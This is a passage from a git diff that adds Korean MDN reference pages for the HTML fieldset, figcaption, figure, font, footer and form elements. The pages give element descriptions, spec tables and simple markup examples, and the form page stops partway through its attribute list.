+<p><code>&lt;fieldset&gt;</code>의 {{cssxref("display")}} 속성의 값은 기본적으로 <code>block</code>이며, 새로운 <a href="/ko/docs/Web/Guide/CSS/Block_formatting_context">블록 서식 맥락</a>을 형성합니다. 인라인형 <code>display</code> 값을 지정하면 <code>inline-block</code>, 그렇지 않으면 <code>block</code>처럼 행동합니다. <code>&lt;fieldset&gt;</code>은 기본 스타일로 콘텐츠를 감싸는 <code>2px</code> 너비의 <code>groove</code> 테두리, 작은 양의 내부 여백, 그리고 {{cssxref("min-inline-size", "min-inline-size: min-content")}}를 갖습니다.</p>
+
+<p>{{htmlelement("legend")}} 요소는 <code>&lt;fieldset&gt;</code>의 블록 시작 방향(대개 위쪽) 테두리 위를 가로지르는 위치에 놓입니다. <code>&lt;legend&gt;</code> 또한 자신의 블록 서식 맥락을 만들며, 너비는 자신의 콘텐츠에 맞춰져 늘어나거나 줄어듭니다. <code>display</code>는 항상 블록형이 됩니다. 즉, <code>display: inline</code>도 <code>block</code>처럼 동작합니다.</p>
+
+<p><code>&lt;fieldset&gt;</code>의 콘텐츠는 별도의 익명 상자가 담게 됩니다. 익명 상자는 <code>&lt;fieldset&gt;</code>으로부터 특정 속성을 상속합니다. <code>&lt;fielset&gt;</code>에 <code>display: grid</code> 또는 <code>display: inline-grid</code>를 지정하면 익명 상자는 그리드 서식 맥락을 가지며, <code>display: flex</code> 또는 <code>display: inline-flex</code>를 지정하면 익명 상자가 플렉스 서식 맥락을 갖습니다. 그 외의 경우 블록 서식 맥락입니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 글 작성 시점에서, Microsoft Edge와 Google Chrome에는 {{htmlelement("fieldset")}} 내부에서 플렉스박스와 그리드 레이아웃을 사용할 수 없는 버그가 존재합니다. <a href="https://github.com/w3c/csswg-drafts/issues/321">GitHub 이슈</a>에서 버그 추적 링크를 확인할 수 있습니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_필드셋">간단한 필드셋</h3>
+
+<p>다음 예제는 {{htmlelement("legend")}}와 하나의 컨트롤을 가진 단순한 <code>&lt;fieldset&gt;</code>을 보입니다.</p>
+
+<pre class="brush: html">&lt;form action="#"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Simple fieldset&lt;/legend&gt;
+    &lt;input type="radio" id="radio"&gt;
+    &lt;label for="radio"&gt;Spirit of radio&lt;/label&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<p>{{ EmbedLiveSample('간단한_필드셋', '100%', '80') }}</p>
+
+<h3 id="비활성_필드셋">비활성 필드셋</h3>
+
+<p>다음 예제는 두 개의 컨트롤을 가진 비활성 <code>&lt;fieldset&gt;</code>을 보입니다. 각각의 컨트롤은 <code>disabled</code> 특성이 없으나, 필드셋으로 인해 함께 비활성 상태가 된 점을 확인할 수 있습니다.</p>
+
+<pre class="brush: html">&lt;form action="#"&gt;
+  &lt;fieldset disabled&gt;
+    &lt;legend&gt;Disabled fieldset&lt;/legend&gt;
+    &lt;div&gt;
+      &lt;label for="name"&gt;Name: &lt;/label&gt;
+      &lt;input type="name" id="text" value="Chris"&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+      &lt;label for="pwd"&gt;Archetype: &lt;/label&gt;
+      &lt;input type="password" id="text" value="Wookie"&gt;
+    &lt;/div&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<p>{{ EmbedLiveSample('비활성_필드셋', '100%', '110') }}</p>
+
+<h2 id="Specifications" name="Specifications">기술 요약</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, 구획 루트, <a href="/ko/docs/Web/Guide/HTML/Content_categories#양식_관련_콘텐츠">양식 관련 콘텐츠</a>(<a href="/ko/docs/Web/Guide/HTML/Content_categories#나열됨">나열됨</a>), 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>선택적인 {{HTMLElement("legend")}} 요소와 그 이후의 <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLFieldSetElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-fieldset-element', '&lt;fieldset&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Definition of the <code>fieldset</code> element</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-fieldset-element', '&lt;fieldset&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.10', '&lt;fieldset&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.fieldset")}}</p>
diff --git a/files/ko/web/html/element/figcaption/index.html b/files/ko/web/html/element/figcaption/index.html
new file mode 100644
index 0000000000..467db8177b
--- /dev/null
+++ b/files/ko/web/html/element/figcaption/index.html
@@ -0,0 +1,88 @@
+---
+title: <figcaption>
+slug: Web/HTML/Element/figcaption
+tags:
+  - Element
+  - HTML
+  - HTML grouping content
+  - Reference
+translation_of: Web/HTML/Element/figcaption
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;figcaption&gt;</code> 요소는 </strong>부모 {{HTMLElement("figure")}} 요소가 포함하는 다른 콘텐츠에 대한 설명 혹은 범례를 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/figcaption.html","tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC" title="HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td>없음.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>{{htmlelement("figure")}} 요소의 처음 혹은 마지막.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>{{ariarole("group")}}, {{ariarole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</span></p>
+
+<h2 id="예제">예제</h2>
+
+<p><code>&lt;figcaption&gt;</code>에 대한 예제는 {{HTMLElement("figure")}} 페이지에 포함되어 있습니다.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-figcaption-element', '&lt;figcaption&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-figcaption-element', '&lt;figcaption&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.figcaption")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("figure")}} 요소</li>
+</ul>
diff --git a/files/ko/web/html/element/figure/index.html b/files/ko/web/html/element/figure/index.html
new file mode 100644
index 0000000000..3630515211
--- /dev/null
+++ b/files/ko/web/html/element/figure/index.html
@@ -0,0 +1,175 @@
+---
+title: <figure>
+slug: Web/HTML/Element/figure
+tags:
+  - Element
+  - HTML
+  - HTML grouping content
+  - Reference
+translation_of: Web/HTML/Element/figure
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;figure&gt;</code> 요소</strong>는 독립적인 콘텐츠를 표현합니다. {{htmlelement("figcaption")}} 요소를 사용해 설명을 붙일 수 있습니다.</span> 피규어, 설명, 콘텐츠는 하나의 단위로 참조됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/figure.html","tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC" title="HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠" title="HTML/Content categories#Flow content">플로우 콘텐츠</a>, 구획 루트, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>
+    <p>{{htmlelement("figcaption")}}과 뒤따르는 <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐</a>츠.<br>
+     혹은 플로우 콘텐츠를 뒤따르는 <code>&lt;figcaption&gt;</code>.<br>
+     혹은 플로우 콘텐츠.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠" title="HTML/Content categories#Flow content">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>보통 <code>&lt;figure&gt;</code>는 주 문서 플로우가 참조하지만, 다른 부분이나 부록으로 이동해도 문제 없는 이미지, 삽화, 도표, 코드 조각 등을 맡습니다.</li>
+ <li><code>&lt;figure&gt;</code>는 구획 루트이므로 <code>&lt;figure&gt;</code> 요소의 콘텐츠는 문서의 주 개요에서 제외됩니다.</li>
+ <li>안에 (처음이나 마지막 자식으로) {{HTMLElement("figcaption")}}을 넣어서 설명을 덧붙일 수 있습니다. 제일 처음 <code>&lt;figcaption&gt;</code>을 설명으로 사용합니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="이미지">이미지</h3>
+
+<pre class="brush: html"><code>&lt;!-- Just an image --&gt;
+&lt;figure&gt;
+  &lt;img
+  src="https://developer.cdn.mozilla.net/media/img/mdn-logo-sm.png"
+  alt="A robotic monster over the letters MDN."&gt;
+&lt;/figure&gt;
+
+&lt;!-- Image with a caption --&gt;
+&lt;figure&gt;
+  &lt;img
+  src="https://developer.cdn.mozilla.net/media/img/mdn-logo-sm.png"
+  alt="A robotic monster over the letters MDN."&gt;
+  &lt;figcaption&gt;MDN Logo&lt;/figcaption&gt;
+&lt;/figure&gt;</code>
+</pre>
+
+<p>{{EmbedLiveSample("이미지", "100%", 250)}}</p>
+
+<h3 id="코드_조각">코드 조각</h3>
+
+<pre class="brush: html">&lt;figure&gt;
+  &lt;figcaption&gt;&lt;code&gt;navigator&lt;/code&gt;를 이용하여 브라우저 정보 얻기&lt;/figcaption&gt;
+  &lt;pre&gt;
+function NavigatorExample() {
+  var txt;
+  txt = "Browser CodeName: " + navigator.appCodeName;
+  txt+= "Browser Name: " + navigator.appName;
+  txt+= "Browser Version: " + navigator.appVersion ;
+  txt+= "Cookies Enabled: " + navigator.cookieEnabled;
+  txt+= "Platform: " + navigator.platform;
+  txt+= "User-agent header: " + navigator.userAgent;
+}
+  &lt;/pre&gt;
+&lt;/figure&gt;
+</pre>
+
+<p>{{EmbedLiveSample("코드_조각", "100%", 250)}}</p>
+
+<h3 id="인용문">인용문</h3>
+
+<figure>
+<pre class="brush: html"><code>&lt;figure&gt;
+  &lt;figcaption&gt;&lt;cite&gt;Edsger Dijkstra:&lt;/cite&gt;&lt;/figcaption&gt;
+  &lt;blockquote&gt;If debugging is the process of removing software bugs,
+  then programming must be the process of putting them in.&lt;/blockquote&gt;
+&lt;/figure&gt;</code>
+</pre>
+
+<p>{{EmbedLiveSample("인용문")}}</p>
+</figure>
+
+<h3 id="시">시</h3>
+
+<figure>
+<pre class="brush: html"><code>&lt;figure&gt;
+  &lt;p style="white-space:pre"&gt;
+Bid me discourse, I will enchant thine ear,
+  Or like a fairy trip upon the green,
+Or, like a nymph, with long dishevell'd hair,
+  Dance on the sands, and yet no footing seen:
+Love is a spirit all compact of fire,
+  Not gross to sink, but light, and will aspire.&lt;/p&gt;
+  &lt;figcaption&gt;&lt;cite&gt;Venus and Adonis&lt;/cite&gt;,
+    by William Shakespeare&lt;/figcaption&gt;
+&lt;/figure&gt;</code>
+</pre>
+
+<p>{{EmbedLiveSample("시", "100%", 250)}}</p>
+</figure>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-figure-element', '&lt;figure&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.2', 'grouping-content.html#the-figure-element', '&lt;figure&gt;')}}</td>
+   <td>{{Spec2('HTML5.2')}}</td>
+   <td>No changes from HTML 5.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-figure-element', '&lt;figure&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.figure")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("figcaption")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/font/index.html b/files/ko/web/html/element/font/index.html
new file mode 100644
index 0000000000..44d88447ae
--- /dev/null
+++ b/files/ko/web/html/element/font/index.html
@@ -0,0 +1,48 @@
+---
+title: <font>
+slug: Web/HTML/Element/font
+tags:
+  - 요소
+  - 폐기됨
+translation_of: Web/HTML/Element/font
+---
+<div>{{obsolete_header}}</div>
+
+<h2 id="개요">개요</h2>
+
+<p><em>HTML에서의 Font 요소</em> (<code>&lt;font&gt;</code>) 는 본문의 글자 크기, 색상과 및면을 정의합니다.</p>
+
+<div class="note">
+<p><em>사용 참고: </em></p>
+
+<p><strong>이 요소를 사용하지 마세요! </strong>HTML 3.2에서 정규화되었지만, HTML 4.01에서는 사용되지 않는 요소로 지정되었으며, 동시에 스타일링과 관련된 모든 요소가 HTML5에서 폐기되었습니다.</p>
+
+<p>Starting with HTML 4, HTML does not convey styling information anymore (outside the {{HTMLElement("style")}} element or the <strong>style</strong> attribute of each element). For any new web development, styling should be written using <a href="/en-US/docs/CSS" title="CSS">CSS</a> only.</p>
+
+<p>The former behavior of the {{HTMLElement("font")}} element can be achieved, and even better controlled using the <a href="/en-US/docs/Web/CSS/CSS_Fonts">CSS Fonts</a> CSS properties.</p>
+</div>
+
+<h2 id="속성">속성</h2>
+
+<p>다른 HTML 요소들과 같게, 이 요소도 <a href="/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">공용 속성</a>을 지원합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("color")}}</dt>
+ <dd>This attribute sets the text color using either a named color or a color specified in the hexadecimal #RRGGBB format.</dd>
+ <dt>{{htmlattrdef("face")}}</dt>
+ <dd>This attribute contains a comma-separated list of one or more font names. The document text in the default style is rendered in the first font face that the client's browser supports. If no font listed is installed on the local system, the browser typically defaults to the proportional or fixed-width font for that system.</dd>
+ <dt>{{htmlattrdef("size")}}</dt>
+ <dd>This attribute specifies the font size as either a numeric or relative value. Numeric values range from <code>1</code> to <code>7</code> with <code>1</code> being the smallest and <code>3</code> the default. It can be defined using a relative value, like <code>+2</code> or <code>-3</code>, which set it relative to the value of the {{htmlattrxref("size", "basefont")}} attribute of the {{HTMLElement("basefont")}} element, or relative to <code>3</code>, the default value, if none does exist.</dd>
+</dl>
+
+<h2 id="DOM_interface">DOM interface</h2>
+
+<p>This element implements the {{domxref("HTMLFontElement")}} interface.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.font")}}</p>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ko/web/html/element/footer/index.html b/files/ko/web/html/element/footer/index.html
new file mode 100644
index 0000000000..6c2e3973d0
--- /dev/null
+++ b/files/ko/web/html/element/footer/index.html
@@ -0,0 +1,109 @@
+---
+title: <footer>
+slug: Web/HTML/Element/footer
+tags:
+  - Element
+  - HTML
+  - HTML sections
+  - Reference
+translation_of: Web/HTML/Element/footer
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;footer&gt;</code> 요소</strong>는 가장 가까운 <a href="/ko/docs/Web/HTML/HTML5_문서의_섹션과_윤곽">구획 콘텐츠</a>나 <a href="/ko/docs/Web/HTML/HTML5_문서의_섹션과_윤곽" title="Sections and Outlines of an HTML5 document#Sectioning root">구획 루트</a>의 푸터를 나타냅니다. 푸터는 일반적으로 구획의 작성자, 저작권 정보, 관련 문서 등의 내용을 담습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/footer.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠" title="HTML/Content categories#Flow content">플로우 콘텐츠</a>. 단, {{htmlelement("header")}}와 다른 <code>&lt;footer&gt;</code>는 자손이 될 수 없습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠" title="HTML/Content categories#Flow content">플로우 콘텐츠</a>를 허용하는 모든 요소. 단, <code>&lt;footer&gt;</code> 요소는 {{htmlelement("address")}}, {{htmlelement("header")}}, 혹은 다른 <code>&lt;footer&gt;</code>의 자손일 수 없습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>{{HTMLElement("address")}} 요소로 감싼 작성자 정보를 <code>&lt;footer&gt;</code> 요소에 배치하세요.</li>
+ <li><code>&lt;footer&gt;</code> 요소는 구획 콘텐츠가 아니므로 <a href="/ko/docs/Web/HTML/HTML5_%EB%AC%B8%EC%84%9C%EC%9D%98_%EC%84%B9%EC%85%98%EA%B3%BC_%EC%9C%A4%EA%B3%BD">개요</a>에 새로운 구획을 추가하지 않습니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;footer&gt;
+  Some copyright info or perhaps some author
+  info for an &amp;lt;article&amp;gt;?
+&lt;/footer&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">접근성 고려사항</h2>
+
+<p><a href="https://help.apple.com/voiceover/mac">VoiceOver</a> 스크린 리더는 랜드마크 로터에서 푸터의 랜드마크 역할을 표현하지 않는 문제가 있습니다. 해결하려면 <code>&lt;footer&gt;</code>에 <code>role="contentinfo"</code>를 추가하세요.</p>
+
+<ul>
+ <li><a href="https://bugs.webkit.org/show_bug.cgi?id=146930">WebKit Bugzilla: 146930 – AX: HTML native elements (header, footer, main, aside, nav) should work the same as ARIA landmarks, sometimes they don't</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-footer-element', '&lt;footer&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-footer-element', '&lt;footer&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.footer")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>다른 구획 관련 요소들: {{HTMLElement("body")}}, {{HTMLElement("nav")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("section")}}, {{HTMLElement("address")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/form/index.html b/files/ko/web/html/element/form/index.html
new file mode 100644
index 0000000000..38ec4aa393
--- /dev/null
+++ b/files/ko/web/html/element/form/index.html
@@ -0,0 +1,186 @@
+---
+title: <form>
+slug: Web/HTML/Element/form
+tags:
+  - Element
+  - HTML
+  - HTML forms
+  - Reference
+  - Web
+  - 양식
+translation_of: Web/HTML/Element/form
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;form&gt;</code> 요소</strong>는 정보를 제출하기 위한 대화형 컨트롤을 포함하는 문서 구획을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/form.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p><code>&lt;form&gt;</code> 요소를 꾸밀 땐, 모든 {{domxref("HTMLFormElement.elements", "elements")}}의 유효성을 나타내는 CSS {{cssxref(":valid")}}와 {{cssxref(":invalid")}} <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>를 사용할 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>다른 <code>&lt;form&gt;</code> 요소를 제외한 <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLFormElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt class="hidden">{{htmlattrdef("accept")}} {{obsolete_inline}}</dt>
+ <dd class="hidden">A comma-separated list of content types that the server accepts.
+ <div class="note"><strong>사용시 주의:</strong> 이 속성은 HTML5에서 제거되고 더 이상 사용되서는 안됩니다. 대신에, {{HTMLElement("input")}} 요소의 <span class="st">{{htmlattrxref("accept", "input")}} 속성을 사용하세요.</span></div>
+ </dd>
+ <dt>{{htmlattrdef("accept-charset")}}</dt>
+ <dd>스페이스로 구분한, 서버가 허용하는 문자 인코딩의 목록. 브라우저는 목록을 순서대로 사용합니다. 기본값은 <a href="/ko/docs/Web/HTTP/Headers/Content-Encoding">페이지 인코딩</a>과 같습니다.</dd>
+ <dt>{{htmlattrdef("action")}}</dt>
+ <dd>양식 데이터를 처리할 프로그램의 {{glossary("URI")}}. {{HTMLElement("button")}}, <code><a href="/ko/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code>, <code><a href="/ko/docs/Web/HTML/Element/input/image">&lt;input type="image"&gt;</a></code> 요소의 {{htmlattrxref("formaction", "button")}} 특성으로 재정의할 수 있습니다.</dd>
+ <dt>{{htmlattrdef("autocapitalize")}} {{non-standard_inline}}</dt>
+ <dd>양식 요소 내에서 영문을 입력할 때 자동으로 대문자 변환하는 방식. iOS Safari에서만 사용하는 비표준 특성입니다. 각 요소의 <code>autocapitalize</code> 특성이 <code>&lt;form&gt;</code>에 정의된 값을 재정의합니다.
+ <ul>
+  <li><code>none</code>: 자동 대문자 입력을 비활성화합니다.</li>
+  <li><code>sentences</code>: 문장의 첫 글자를 대문자로 변환합니다. 기본값.</li>
+  <li><code>words</code>: 각 단어의 첫 글자를 대문자로 변환합니다.</li>
+  <li><code>characters</code>: 모든 글자를 대문자로 변환합니다.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("autocomplete")}}</dt>
+ <dd>입력 요소가 자동완성된 값을 기본값으로 가질 수 있는지 나타냅니다. 각 요소의 <code>autocomplete</code> 특성이 <code>&lt;form&gt;</code>에 정의된 값을 재정의합니다.
+ <ul>
+  <li><code>off</code>: 브라우저가 각 항목에 자동으로 값을 채워 넣지 않습니다. (로그인 양식으로 의심되는 경우 보통 무시합니다)</li>
+  <li><code>on</code>: 사용자의 과거 입력값에 기반하여 브라우저가 자동으로 값을 채워 넣습니다.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("enctype")}}</dt>
